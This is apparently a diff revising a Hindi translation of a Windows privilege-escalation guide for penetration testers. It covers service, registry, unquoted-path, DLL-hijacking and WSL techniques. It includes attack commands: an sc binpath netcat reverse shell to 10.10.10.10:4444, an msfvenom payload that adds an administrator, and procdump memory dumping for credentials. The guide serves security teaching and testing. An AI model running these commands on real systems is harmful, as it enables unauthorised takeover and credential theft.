**ब्लॉक** किया जा सके, जिससे सिस्टम की सुरक्षा और बढ़ गई है।\ -[**LSA सुरक्षा के बारे में अधिक जानकारी यहाँ**](../stealing-credentials/credentials-protections.md#lsa-protection). +Windows 8.1 से शुरू होकर, Microsoft ने Local Security Authority (LSA) के लिए उन्नत सुरक्षा पेश की ताकि अनविश्वसनीय प्रक्रियाओं द्वारा **इसकी मेमोरी पढ़ने** या कोड इंजेक्ट करने के प्रयासों को **ब्लॉक** किया जा सके, जिससे सिस्टम और अधिक सुरक्षित हो।\ +[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard** को **Windows 10** में पेश किया गया था। इसका उद्देश्य एक डिवाइस पर संग्रहीत क्रेडेंशियल्स को पास-थ-हैश हमलों जैसे खतरों से सुरक्षित रखना है।| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard** को **Windows 10** में पेश किया गया था। इसका उद्देश्य डिवाइस पर संग्रहीत credentials को pass-the-hash जैसे खतरों से सुरक्षित रखना है।| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` ### Cached Credentials -**डोमेन क्रेडेंशियल** को **स्थानीय सुरक्षा प्राधिकरण** (LSA) द्वारा प्रमाणित किया जाता है और ऑपरेटिंग सिस्टम के घटकों द्वारा उपयोग किया जाता है। जब किसी उपयोगकर्ता का लॉगिन डेटा एक पंजीकृत सुरक्षा पैकेज द्वारा प्रमाणित किया जाता है, तो उपयोगकर्ता के लिए डोमेन क्रेडेंशियल आमतौर पर स्थापित किए जाते हैं।\ -[**Cached Credentials के बारे में अधिक जानकारी यहाँ**](../stealing-credentials/credentials-protections.md#cached-credentials). +**Domain credentials** को **Local Security Authority** (LSA) द्वारा प्रमाणित किया जाता है और ऑपरेटिंग सिस्टम के घटकों द्वारा उपयोग किया जाता है। जब किसी उपयोगकर्ता का logon डेटा किसी पंजीकृत security package द्वारा प्रमाणित किया जाता है, तो आम तौर पर उस उपयोगकर्ता के लिए domain credentials स्थापित किए जाते हैं।\ +[**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` -## Users & Groups +## उपयोगकर्ता और समूह -### Enumerate Users & Groups +### उपयोगकर्ताओं और समूहों की सूची बनाएं -आपको यह जांचना चाहिए कि क्या आप जिन समूहों में हैं, उनमें कोई दिलचस्प अनुमतियाँ हैं। +आपको यह जांचना चाहिए कि जिन समूहों का आप हिस्सा हैं उनमें से किसी के पास कोई रोचक अनुमतियाँ हैं ```bash # CMD net users %username% #Me @@ -338,29 +341,31 @@ Get-LocalUser | ft Name,Enabled,LastLogon Get-ChildItem C:\Users -Force | select Name Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` -### विशेष समूह +### विशेषाधिकार समूह + +यदि आप **किसी विशेषाधिकार समूह के सदस्य हैं तो आप विशेषाधिकार बढ़ा सकते हैं**। विशेषाधिकार समूहों और उन्हें दुरुपयोग करके विशेषाधिकार कैसे बढ़ाए जा सकते हैं इसके बारे में यहां जानें: -यदि आप **किसी विशेष समूह से संबंधित हैं, तो आप विशेषाधिकार बढ़ाने में सक्षम हो सकते हैं**। विशेष समूहों के बारे में जानें और उन्हें विशेषाधिकार बढ़ाने के लिए कैसे दुरुपयोग करें यहाँ: {{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md {{#endref}} -### टोकन हेरफेर +### Token हेरफेर + +**और जानें** कि **token** क्या है इस पृष्ठ पर: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ +निम्नलिखित पृष्ठ देखें ताकि आप **दिलचस्प tokens** और उन्हें कैसे दुरुपयोग किया जा सकता है सीख सकें: -**और अधिक जानें** कि **टोकन** क्या है इस पृष्ठ पर: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -निम्नलिखित पृष्ठ पर **दिलचस्प टोकनों** के बारे में जानें और उन्हें कैसे दुरुपयोग करें: {{#ref}} privilege-escalation-abusing-tokens.md {{#endref}} -### लॉग इन उपयोगकर्ता / सत्र +### लॉग किए गए उपयोगकर्ता / सत्र ```bash qwinsta klist sessions ``` -### होम फ़ोल्डर +### होम फ़ोल्डर्स ```bash dir C:\Users Get-ChildItem C:\Users @@ -373,12 +378,12 @@ net accounts ```bash powershell -command "Get-Clipboard" ``` -## चल रहे प्रक्रियाएँ +## चल रहे प्रोसेस ### फ़ाइल और फ़ोल्डर अनुमतियाँ -सबसे पहले, प्रक्रियाओं की सूची बनाते समय **प्रक्रिया की कमांड लाइन के अंदर पासवर्ड की जांच करें**।\ -जांचें कि क्या आप **कुछ बाइनरी को ओवरराइट कर सकते हैं** या यदि आपके पास बाइनरी फ़ोल्डर की लिखने की अनुमतियाँ हैं ताकि संभावित [**DLL Hijacking हमलों**](dll-hijacking/index.html) का लाभ उठाया जा सके: +सबसे पहले, processes सूचीबद्ध करते समय **command line के अंदर passwords देखें**.\ +जांचें कि क्या आप **किसी चल रहे binary को overwrite कर सकते हैं** या क्या आपके पास binary फ़ोल्डर की write permissions हैं ताकि आप संभावित [**DLL Hijacking attacks**](dll-hijacking/index.html) का शोषण कर सकें: ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -389,9 +394,9 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -हमेशा संभावित [**electron/cef/chromium debuggers** की जांच करें, आप इसका उपयोग विशेषाधिकार बढ़ाने के लिए कर सकते हैं](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +हमेशा संभवतः [**electron/cef/chromium debuggers** चल रहे हों — आप इसका दुरुपयोग करके escalate privileges हासिल कर सकते हैं](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). -**प्रक्रियाओं के बाइनरी की अनुमतियों की जांच करना** +**processes binaries के permissions की जाँच** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do ( @@ -400,7 +405,7 @@ icacls "%%z" ) ) ``` -**प्रक्रियाओं के बाइनरी के फ़ोल्डरों की अनुमतियों की जांच (**[**DLL Hijacking**](dll-hijacking/index.html)**)** +**process binaries के फ़ोल्डरों के permissions की जाँच (**[**DLL Hijacking**](dll-hijacking/index.html)**)** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -408,17 +413,17 @@ icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone todos %username%" && echo. ) ``` -### मेमोरी पासवर्ड खनन +### मेमोरी पासवर्ड माइनिंग -आप **procdump** का उपयोग करके एक चल रहे प्रक्रिया का मेमोरी डंप बना सकते हैं। FTP जैसी सेवाओं में **स्मृति में स्पष्ट पाठ में क्रेडेंशियल्स होते हैं**, मेमोरी को डंप करने और क्रेडेंशियल्स को पढ़ने का प्रयास करें। +आप sysinternals के **procdump** का उपयोग करके चल रहे process का मेमोरी डंप बना सकते हैं। FTP जैसे services की **credentials in clear text in memory** होती हैं; मेमोरी को डंप करके उन credentials को पढ़ने की कोशिश करें। ```bash procdump.exe -accepteula -ma ``` ### असुरक्षित GUI ऐप्स -**SYSTEM के रूप में चलने वाले एप्लिकेशन एक उपयोगकर्ता को CMD उत्पन्न करने या निर्देशिकाओं को ब्राउज़ करने की अनुमति दे सकते हैं।** +**SYSTEM के रूप में चलने वाले एप्लिकेशन उपयोगकर्ता को CMD खोलने या डायरेक्टरी ब्राउज़ करने की अनुमति दे सकते हैं।** -उदाहरण: "Windows Help and Support" (Windows + F1), "command prompt" के लिए खोजें, "Command Prompt खोलने के लिए क्लिक करें" पर क्लिक करें +उदाहरण: "Windows Help and Support" (Windows + F1), "command prompt" खोजें, "Click to open Command Prompt" पर क्लिक करें ## सेवाएँ @@ -429,46 +434,46 @@ wmic service list brief sc query Get-Service ``` -### Permissions +### अनुमतियाँ -आप **sc** का उपयोग करके एक सेवा की जानकारी प्राप्त कर सकते हैं +आप किसी service की जानकारी प्राप्त करने के लिए **sc** का उपयोग कर सकते हैं ```bash sc qc ``` -यह अनुशंसा की जाती है कि प्रत्येक सेवा के लिए आवश्यक विशेषाधिकार स्तर की जांच करने के लिए _Sysinternals_ से बाइनरी **accesschk** हो। +प्रत्येक service के लिए आवश्यक privilege स्तर की जाँच के लिए _Sysinternals_ का binary **accesschk** होना सलाह दी जाती है। ```bash accesschk.exe -ucqv #Check rights for different groups ``` -यह अनुशंसा की जाती है कि यह जांचें कि क्या "Authenticated Users" किसी भी सेवा को संशोधित कर सकते हैं: +अनुशंसा की जाती है कि जाँचें कि "Authenticated Users" किसी भी सेवा को संशोधित कर सकते हैं: ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ``` -[आप accesschk.exe को XP के लिए यहाँ डाउनलोड कर सकते हैं](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) +[You can download accesschk.exe for XP for here](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) ### सेवा सक्षम करें -यदि आपको यह त्रुटि मिल रही है (उदाहरण के लिए SSDPSRV के साथ): +यदि आपको यह त्रुटि आ रही है (उदाहरण के लिए SSDPSRV के साथ): -_सिस्टम त्रुटि 1058 हुई है._\ -_सेवा शुरू नहीं की जा सकती, या तो क्योंकि इसे अक्षम किया गया है या क्योंकि इसके साथ कोई सक्षम उपकरण नहीं है।_ +_System error 1058 has occurred._\ +_The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._ -आप इसे सक्षम करने के लिए उपयोग कर सकते हैं +आप इसे सक्षम करने के लिए निम्न का उपयोग कर सकते हैं ```bash sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` -**यह ध्यान में रखें कि सेवा upnphost SSDPSRV पर निर्भर करती है (XP SP1 के लिए)** +**ध्यान रखें कि service upnphost काम करने के लिए SSDPSRV पर निर्भर करता है (XP SP1 के लिए)** -**इस समस्या का एक और समाधान** यह है कि चलाएँ: +**Another workaround** इस समस्या का एक अन्य तरीका है जिसे चलाया जा सकता है: ``` sc.exe config usosvc start= auto ``` -### **सेवा बाइनरी पथ को संशोधित करें** +### **सेवा के बाइनरी पथ को संशोधित करें** -उस परिदृश्य में जहां "प्रमाणित उपयोगकर्ता" समूह के पास एक सेवा पर **SERVICE_ALL_ACCESS** है, सेवा के निष्पादन योग्य बाइनरी में संशोधन करना संभव है। **sc** को संशोधित और निष्पादित करने के लिए: +ऐसी स्थिति में जहाँ "Authenticated users" समूह के पास किसी सेवा पर **SERVICE_ALL_ACCESS** है, सेवा के executable बाइनरी में संशोधन संभव है। सेवा बाइनरी को संशोधित करने और चलाने के लिए **sc**: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -476,40 +481,40 @@ sc config binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cm sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe" ``` -### सेवा पुनः प्रारंभ करें +### सेवा पुनरारंभ करें ```bash wmic service NAMEOFSERVICE call startservice net stop [service name] && net start [service name] ``` -Privileges को विभिन्न अनुमतियों के माध्यम से बढ़ाया जा सकता है: +Privileges को विभिन्न permissions के माध्यम से escalate किया जा सकता है: -- **SERVICE_CHANGE_CONFIG**: सेवा बाइनरी की पुनः कॉन्फ़िगरेशन की अनुमति देता है। -- **WRITE_DAC**: अनुमति पुनः कॉन्फ़िगरेशन को सक्षम करता है, जिससे सेवा कॉन्फ़िगरेशन बदलने की क्षमता मिलती है। -- **WRITE_OWNER**: स्वामित्व अधिग्रहण और अनुमति पुनः कॉन्फ़िगरेशन की अनुमति देता है। -- **GENERIC_WRITE**: सेवा कॉन्फ़िगरेशन बदलने की क्षमता को विरासत में लेता है। -- **GENERIC_ALL**: सेवा कॉन्फ़िगरेशन बदलने की क्षमता को भी विरासत में लेता है। +- **SERVICE_CHANGE_CONFIG**: service binary को reconfigure करने की अनुमति देता है। +- **WRITE_DAC**: permission reconfiguration सक्षम करता है, जिससे service configurations बदलने की क्षमता मिलती है। +- **WRITE_OWNER**: ownership प्राप्त करने और permission reconfiguration की अनुमति देता है। +- **GENERIC_WRITE**: service configurations बदलने की क्षमता देता है। +- **GENERIC_ALL**: service configurations बदलने की क्षमता भी देता है। -इस कमजोरियों की पहचान और शोषण के लिए, _exploit/windows/local/service_permissions_ का उपयोग किया जा सकता है। +इस vulnerability के detection और exploitation के लिए _exploit/windows/local/service_permissions_ का उपयोग किया जा सकता है। -### Services binaries कमजोर अनुमतियाँ +### Services binaries कमजोर permissions -**जांचें कि क्या आप उस बाइनरी को संशोधित कर सकते हैं जो एक सेवा द्वारा निष्पादित होती है** या यदि आपके पास **फोल्डर पर लिखने की अनुमतियाँ हैं** जहाँ बाइनरी स्थित है ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ -आप **wmic** (system32 में नहीं) का उपयोग करके हर बाइनरी प्राप्त कर सकते हैं जो एक सेवा द्वारा निष्पादित होती है और अपनी अनुमतियों की जांच करने के लिए **icacls** का उपयोग कर सकते हैं: +**Check करें कि आप उस binary को modify कर सकते हैं जो किसी service द्वारा execute की जाती है** या अगर आपके पास **उस folder पर write permissions हैं** जहाँ binary स्थित है ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ +आप किसी service द्वारा execute किए जाने वाले हर binary को **wmic** का उपयोग करके प्राप्त कर सकते हैं (not in system32) और अपनी permissions **icacls** का उपयोग करके जांच सकते हैं: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\" ``` -आप **sc** और **icacls** का भी उपयोग कर सकते हैं: +आप **sc** और **icacls** का उपयोग भी कर सकते हैं: ```bash sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt ``` -### Services registry modify permissions +### Services registry को संशोधित करने की अनुमतियाँ -आपको यह जांचना चाहिए कि क्या आप किसी सेवा रजिस्ट्र्री को संशोधित कर सकते हैं।\ -आप एक सेवा **रजिस्ट्र्री** पर अपनी **अनुमतियों** की **जांच** करने के लिए: +आपको यह जांचना चाहिए कि क्या आप किसी भी service registry को संशोधित कर सकते हैं.\ +आप निम्नलिखित करके किसी service **registry** पर अपनी **permissions** **check** कर सकते हैं: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -518,16 +523,15 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -यह जांचना चाहिए कि **Authenticated Users** या **NT AUTHORITY\INTERACTIVE** के पास `FullControl` अनुमतियाँ हैं या नहीं। यदि हाँ, तो सेवा द्वारा निष्पादित बाइनरी को बदला जा सकता है। +यह जाँचना चाहिए कि क्या **Authenticated Users** या **NT AUTHORITY\INTERACTIVE** के पास `FullControl` अनुमतियाँ हैं। यदि हाँ, तो सर्विस द्वारा निष्पादित बाइनरी को बदला जा सकता है। -बाइनरी के निष्पादन के पथ को बदलने के लिए: +निष्पादित बाइनरी के पथ को बदलने के लिए: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` ### Services registry AppendData/AddSubdirectory permissions -यदि आपके पास एक रजिस्ट्री पर यह अनुमति है, तो इसका मतलब है कि **आप इस रजिस्ट्री से उप रजिस्ट्री बना सकते हैं**। Windows सेवाओं के मामले में, यह **मनमाने कोड को निष्पादित करने के लिए पर्याप्त है:** - +यदि आपके पास किसी registry पर यह permission है, तो इसका मतलब है कि **आप इस registry से sub registries बना सकते हैं**। Windows services के मामले में यह **enough to execute arbitrary code:** {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md @@ -535,15 +539,15 @@ appenddata-addsubdirectory-permission-over-service-registry.md ### Unquoted Service Paths -यदि किसी निष्पादन योग्य का पथ उद्धरण के अंदर नहीं है, तो Windows हर स्पेस से पहले समाप्ति को निष्पादित करने की कोशिश करेगा। +यदि किसी executable का path quotes में न दिया गया हो, तो Windows space से पहले आने वाले प्रत्येक हिस्से को execute करने की कोशिश करेगा। -उदाहरण के लिए, पथ _C:\Program Files\Some Folder\Service.exe_ के लिए Windows निष्पादित करने की कोशिश करेगा: +उदाहरण के लिए, path _C:\Program Files\Some Folder\Service.exe_ के लिए Windows निम्नलिखित को execute करने की कोशिश करेगा: ```bash C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -बिना उद्धृत सेवा पथों की सूची बनाएं, जो अंतर्निहित Windows सेवाओं से संबंधित नहीं हैं: +बिल्ट-इन Windows सेवाओं से संबंधित नहीं होने वाले सभी unquoted service paths सूचीबद्ध करें: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -563,19 +567,19 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -**आप इस कमजोरियों का पता लगा सकते हैं और इसका लाभ उठा सकते हैं** metasploit के साथ: `exploit/windows/local/trusted\_service\_path` आप मैन्युअल रूप से एक सेवा बाइनरी बना सकते हैं metasploit के साथ: +**आप इस vulnerability का पता लगा सकते हैं और exploit कर सकते हैं** metasploit के साथ: `exploit/windows/local/trusted_service_path` आप metasploit से मैन्युअल रूप से एक service binary बना सकते हैं: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` ### Recovery Actions -Windows उपयोगकर्ताओं को यह निर्दिष्ट करने की अनुमति देता है कि यदि कोई सेवा विफल होती है तो क्या कार्रवाई की जानी चाहिए। इस सुविधा को एक बाइनरी की ओर इंगित करने के लिए कॉन्फ़िगर किया जा सकता है। यदि यह बाइनरी प्रतिस्थापनीय है, तो विशेषाधिकार वृद्धि संभव हो सकती है। अधिक विवरण [official documentation]() में पाया जा सकता है। +Windows उपयोगकर्ताओं को यह निर्दिष्ट करने की अनुमति देता है कि यदि कोई service fail हो तो कौन-सी actions ली जाएँ। इस feature को एक binary की ओर point करने के लिए configure किया जा सकता है। यदि यह binary replaceable है, तो privilege escalation संभव हो सकता है। अधिक जानकारी [आधिकारिक दस्तावेज़]() में मिलती है। ## Applications ### Installed Applications -**बाइनरी के अनुमतियों** की जांच करें (शायद आप एक को ओवरराइट कर सकते हैं और विशेषाधिकार बढ़ा सकते हैं) और **फोल्डरों** के ([DLL Hijacking](dll-hijacking/index.html)). +जाँचें **permissions of the binaries** (शायद आप किसी को overwrite कर सकें और escalate privileges) और **folders** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -584,11 +588,11 @@ reg query HKEY_LOCAL_MACHINE\SOFTWARE Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` -### Write Permissions +### लिखने की अनुमतियाँ -जांचें कि क्या आप किसी कॉन्फ़िगरेशन फ़ाइल को संशोधित कर सकते हैं ताकि किसी विशेष फ़ाइल को पढ़ सकें या यदि आप किसी बाइनरी को संशोधित कर सकते हैं जो एक व्यवस्थापक खाते (schedtasks) द्वारा निष्पादित होने वाली है। +जाँचें कि क्या आप किसी config file को संशोधित करके कोई विशेष फ़ाइल पढ़ सकते हैं, या क्या आप किसी binary को संशोधित कर सकते हैं जो Administrator खाते (schedtasks) द्वारा चलाया जाएगा। -सिस्टम में कमजोर फ़ोल्डर/फ़ाइल अनुमतियों को खोजने का एक तरीका है: +System में कमजोर folder/files permissions खोजने का एक तरीका यह है: ```bash accesschk.exe /accepteula # Find all weak folder permissions per drive. @@ -611,10 +615,10 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}} ``` -### Startup पर चलाएँ +### स्टार्टअप पर रन -**जांचें कि क्या आप कुछ रजिस्ट्री या बाइनरी को ओवरराइट कर सकते हैं जो किसी अन्य उपयोगकर्ता द्वारा निष्पादित होने वाली है।**\ -**अधिक जानने के लिए** **निम्नलिखित पृष्ठ** को पढ़ें **प्रिविलेज बढ़ाने के लिए दिलचस्प ऑटोरन स्थानों** के बारे में: +**जाँचें कि क्या आप किसी registry या binary को overwrite कर सकते हैं जो किसी दूसरे user द्वारा executed होगा।**\ +**Read** **निम्नलिखित पृष्ठ** को पढ़ें ताकि आप रोचक **autoruns locations to escalate privileges** के बारे में अधिक जान सकें: {{#ref}} @@ -623,21 +627,29 @@ privilege-escalation-with-autorun-binaries.md ### ड्राइवर -संभावित **तीसरे पक्ष के अजीब/कमजोर** ड्राइवरों की तलाश करें +संभावित **third party weird/vulnerable** drivers की तलाश करें ```bash driverquery driverquery.exe /fo table driverquery /SI ``` +यदि कोई driver किसी arbitrary kernel read/write primitive को एक्सपोज़ करता है (खराब तरह से डिज़ाइन किए गए IOCTL handlers में आम), तो आप kernel memory से सीधे एक SYSTEM token चुरा कर privileges escalate कर सकते हैं। चरण-दर-चरण तकनीक यहाँ देखें: + +{{#ref}} +arbitrary-kernel-rw-token-theft.md +{{#endref}} + + ## PATH DLL Hijacking -यदि आपके पास **PATH पर मौजूद फ़ोल्डर के अंदर लिखने की अनुमति है** तो आप एक प्रक्रिया द्वारा लोड की गई DLL को हाईजैक करने और **अधिकार बढ़ाने** में सक्षम हो सकते हैं। +यदि आपके पास **write permissions inside a folder present on PATH** हैं तो आप किसी process द्वारा लोड की गई एक DLL को hijack करके **escalate privileges** कर सकते हैं। -PATH के अंदर सभी फ़ोल्डरों की अनुमतियों की जांच करें: +PATH के अंदर सभी फ़ोल्डरों के permissions जाँचें: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` -इस जांच का दुरुपयोग करने के बारे में अधिक जानकारी के लिए: +इस चेक का दुरुपयोग करने के बारे में अधिक जानकारी के लिए: + {{#ref}} dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md @@ -655,11 +667,11 @@ net share #Check current shares ``` ### hosts file -hosts फ़ाइल पर हार्डकोडेड अन्य ज्ञात कंप्यूटरों की जांच करें +hosts file में hardcoded अन्य ज्ञात कंप्यूटरों की जाँच करें ``` type C:\Windows\System32\drivers\etc\hosts ``` -### नेटवर्क इंटरफेस और DNS +### नेटवर्क इंटरफेस & DNS ``` ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address @@ -667,43 +679,43 @@ Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` ### Open Ports -बाहर से **प्रतिबंधित सेवाओं** की जांच करें +बाहरी से **restricted services** की जाँच करें ```bash netstat -ano #Opened ports? ``` -### राउटिंग तालिका +### रूटिंग तालिका ``` route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex ``` -### ARP Table +### ARP तालिका ``` arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` ### फ़ायरवॉल नियम -[**फ़ायरवॉल से संबंधित कमांड के लिए इस पृष्ठ की जांच करें**](../basic-cmd-for-pentesters.md#firewall) **(नियमों की सूची, नियम बनाना, बंद करना, बंद करना...)** +[**इस पेज पर फ़ायरवॉल संबंधित कमांड्स देखें**](../basic-cmd-for-pentesters.md#firewall) **(नियम सूचीबद्ध करें, नियम बनाएं, बंद करें, बंद करें...)** -अधिक [नेटवर्क एन्यूमरेशन के लिए कमांड यहाँ](../basic-cmd-for-pentesters.md#network) +अधिक[ नेटवर्क एन्यूमरेशन के लिए कमांड्स यहाँ](../basic-cmd-for-pentesters.md#network) -### विंडोज़ सबसिस्टम फॉर लिनक्स (wsl) +### Windows Subsystem for Linux (wsl) ```bash C:\Windows\System32\bash.exe C:\Windows\System32\wsl.exe ``` -बाइनरी `bash.exe` भी `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` में पाया जा सकता है। +बाइनरी `bash.exe` को `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` में भी पाया जा सकता है -यदि आप रूट उपयोगकर्ता प्राप्त करते हैं, तो आप किसी भी पोर्ट पर सुन सकते हैं (जब आप पहली बार `nc.exe` का उपयोग करके किसी पोर्ट पर सुनते हैं, तो यह GUI के माध्यम से पूछेगा कि क्या `nc` को फ़ायरवॉल द्वारा अनुमति दी जानी चाहिए)। +यदि आप root user प्राप्त करते हैं तो आप किसी भी port पर listen कर सकते हैं (पहली बार जब आप `nc.exe` का उपयोग किसी port पर listen करने के लिए करेंगे तो यह GUI के माध्यम से पूछेगा कि `nc` को firewall द्वारा allow किया जाना चाहिए या नहीं)। ```bash wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` -बश को रूट के रूप में आसानी से शुरू करने के लिए, आप `--default-user root` आजमा सकते हैं। +रूट के रूप में आसानी से bash शुरू करने के लिए, आप कोशिश कर सकते हैं `--default-user root` -आप `WSL` फ़ाइल प्रणाली को फ़ोल्डर `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` में खोज सकते हैं। +आप `WSL` फ़ाइलसिस्टम को फ़ोल्डर `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` में एक्सप्लोर कर सकते हैं ## Windows क्रेडेंशियल्स @@ -721,14 +733,14 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef ``` ### Credentials manager / Windows vault -From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Windows Vault उपयोगकर्ताओं के क्रेडेंशियल्स को सर्वरों, वेबसाइटों और अन्य कार्यक्रमों के लिए संग्रहीत करता है जिन्हें **Windows** उपयोगकर्ताओं को **स्वचालित रूप से लॉग इन** कर सकता है। पहले दृष्टिकोण में, यह ऐसा लग सकता है कि अब उपयोगकर्ता अपने फेसबुक क्रेडेंशियल्स, ट्विटर क्रेडेंशियल्स, जीमेल क्रेडेंशियल्स आदि को संग्रहीत कर सकते हैं, ताकि वे स्वचालित रूप से ब्राउज़रों के माध्यम से लॉग इन कर सकें। लेकिन ऐसा नहीं है। +स्रोत: [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ +Windows Vault उन user credentials को स्टोर करता है जो servers, websites और अन्य programs के लिए होते हैं जिन्हें **Windows** स्वचालित रूप से उपयोगकर्ता के रूप में लॉग इन कर सकता है। शुरुआत में यह ऐसा लग सकता है कि उपयोगकर्ता अपने Facebook credentials, Twitter credentials, Gmail credentials आदि यहाँ स्टोर कर सकते हैं ताकि वे ब्राउज़र के जरिए स्वचालित रूप से लॉग इन हो जाएँ। लेकिन ऐसा नहीं है। -Windows Vault उन क्रेडेंशियल्स को संग्रहीत करता है जिन्हें Windows उपयोगकर्ताओं को स्वचालित रूप से लॉग इन कर सकता है, जिसका अर्थ है कि कोई भी **Windows एप्लिकेशन जिसे किसी संसाधन (सर्वर या वेबसाइट) तक पहुँचने के लिए क्रेडेंशियल्स की आवश्यकता होती है** **इस Credential Manager** और Windows Vault का उपयोग कर सकता है और उपयोगकर्ताओं द्वारा बार-बार उपयोगकर्ता नाम और पासवर्ड दर्ज करने के बजाय प्रदान किए गए क्रेडेंशियल्स का उपयोग कर सकता है। +Windows Vault उन credentials को स्टोर करता है 